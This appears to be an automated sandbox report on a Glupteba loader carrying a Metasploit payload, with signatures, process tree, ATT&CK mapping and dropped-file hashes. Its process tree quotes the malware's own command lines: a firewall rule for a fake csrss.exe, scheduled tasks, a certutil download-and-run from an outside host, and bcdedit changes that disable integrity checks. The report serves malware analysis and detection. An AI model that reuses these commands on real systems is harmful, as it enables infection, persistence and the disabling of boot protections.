Overview

overview

10

Static

static

10

6c5db6dce1...3e.exe

windows7-x64

10

6c5db6dce1...3e.exe

windows10-2004-x64

10

DusBrowserInst.exe

windows7-x64

6

DusBrowserInst.exe

windows10-2004-x64

6

IDWCH2.exe

windows7-x64

7

IDWCH2.exe

windows10-2004-x64

7

Litever01.exe

windows7-x64

10

Litever01.exe

windows10-2004-x64

10

NAN.exe

windows7-x64

10

NAN.exe

windows10-2004-x64

10

anyname.exe

windows7-x64

3

anyname.exe

windows10-2004-x64

3

app.exe

windows7-x64

10

app.exe

windows10-2004-x64

10

askinstall50.exe

windows7-x64

10

askinstall50.exe

windows10-2004-x64

10

farlab_setup.exe

windows7-x64

7

farlab_setup.exe

windows10-2004-x64

7

inst002.exe

windows7-x64

10

inst002.exe

windows10-2004-x64

10

jamesnew.exe

windows7-x64

3

jamesnew.exe

windows10-2004-x64

3

justdezine.exe

windows7-x64

10

justdezine.exe

windows10-2004-x64

10

md3_3kvm.exe

windows7-x64

10

md3_3kvm.exe

windows10-2004-x64

10

mixseven.exe

windows7-x64

10

mixseven.exe

windows10-2004-x64

10

redcloud.exe

windows7-x64

10

redcloud.exe

windows10-2004-x64

10

udptest.exe

windows7-x64

10

udptest.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    08/11/2024, 01:40

Sharing

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General

  • Target
    6c5db6dce13ded4e0e6c7e9a526b063e.exe
  • Size 4.3MB
  • Sample241108-b33b7svmcm
  • SHA256 036e1c48be2a9fde1e94334dcb1216eec8512b38c118234c118aaa47b6ad65c7
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
gluptebametasploitbackdoordiscoverydropperevasionloaderpersistenceprivilege_escalationrootkittrojan

Malware Config

Extracted

Family

  • metasploit

Version

  • windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba family
    glupteba
  • Glupteba payload 21 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Metasploit family
    metasploit
  • Windows security bypass 2 TTPs 10 IoCs
    evasiontrojan
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

    evasion
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 13 IoCs
  • Windows security modification 2 TTPs 10 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\6c5db6dce13ded4e0e6c7e9a526b063e.exe
    "C:\Users\Admin\AppData\Local\Temp\6c5db6dce13ded4e0e6c7e9a526b063e.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2008
    • C:\Users\Admin\AppData\Local\Temp\6c5db6dce13ded4e0e6c7e9a526b063e.exe
      "C:\Users\Admin\AppData\Local\Temp\6c5db6dce13ded4e0e6c7e9a526b063e.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1748
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2240
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • Modifies data under HKEY_USERS
          PID:1796
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe /133-133
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Manipulates WinMon driver.
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2924
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1216
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2788
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1600
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1880
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1204
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2032
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2324
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3016
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2492
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2484
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2284
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1952
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1448
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2292
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1772
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:872
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Executes dropped EXE
          PID:2116
        • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:2140
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241108014118.log C:\Windows\Logs\CBS\CbsPersist_20241108014118.cab
    1⤵
    • Drops file in Windows directory
    PID:2436

Network

        MITRE ATT&CK Enterprise v15

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Netsh Helper DLL

        1
        T1546.007

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Netsh Helper DLL

        1
        T1546.007

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Defense Evasion

        Impair Defenses

        4
        T1562

        Disable or Modify System Firewall

        1
        T1562.004

        Disable or Modify Tools

        2
        T1562.001

        Modify Registry

        4
        T1112

        Subvert Trust Controls

        1
        T1553

        Install Root Certificate

        1
        T1553.004

        Credential Access

        Discovery

        Query Registry

        2
        T1012

        System Information Discovery

        1
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        download.error
        • Path C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error
        • Size 8.3MB
        • SHA256 3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        download.error
        • Path C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error
        • Size 492KB
        • SHA256 feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        patch.exe
        • Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        • Size 1.7MB
        • SHA256 f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        dsefix.exe
        • Path \Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        • Size 94KB
        • SHA256 414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        injector.exe
        • Path \Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        • Size 281KB
        • SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        dbghelp.dll
        • Path \Users\Admin\AppData\Local\Temp\dbghelp.dll
        • Size 1.5MB
        • SHA256 6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        ntkrnlmp.exe
        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
        • Size 5.3MB
        • SHA256 c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        osloader.exe
        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
        • Size 591KB
        • SHA256 b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        symsrv.dll
        • Path \Users\Admin\AppData\Local\Temp\symsrv.dll
        • Size 163KB
        • SHA256 e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        csrss.exe
        • Path \Windows\rss\csrss.exe
        • Size 4.3MB
        • SHA256 036e1c48be2a9fde1e94334dcb1216eec8512b38c118234c118aaa47b6ad65c7
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        memory/1724-101-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-113-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-19-0x0000000003B20000-0x0000000003F5C000-memory.dmp
        Download

        memory/1724-108-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-109-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-116-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-115-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-114-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-110-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-107-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-55-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-59-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-71-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-112-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1724-111-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1748-4-0x0000000003A90000-0x0000000003ECC000-memory.dmp
        Download

        memory/1748-10-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1748-9-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/1748-21-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/2008-8-0x00000000040B0000-0x00000000049D6000-memory.dmp
        Download

        memory/2008-1-0x0000000003C70000-0x00000000040AC000-memory.dmp
        Download

        memory/2008-0-0x0000000003C70000-0x00000000040AC000-memory.dmp
        Download

        memory/2008-2-0x00000000040B0000-0x00000000049D6000-memory.dmp
        Download

        memory/2008-3-0x0000000000400000-0x0000000000D41000-memory.dmp
        Download

        memory/2008-6-0x0000000003C70000-0x00000000040AC000-memory.dmp
        Download

        memory/2008-5-0x0000000000400000-0x00000000021A3000-memory.dmp
        Download

        memory/2008-7-0x0000000000400000-0x0000000000D41000-memory.dmp
        Download

        memory/2788-42-0x0000000140000000-0x00000001405E8000-memory.dmp
        Download

        memory/2788-28-0x0000000140000000-0x00000001405E8000-memory.dmp
        Download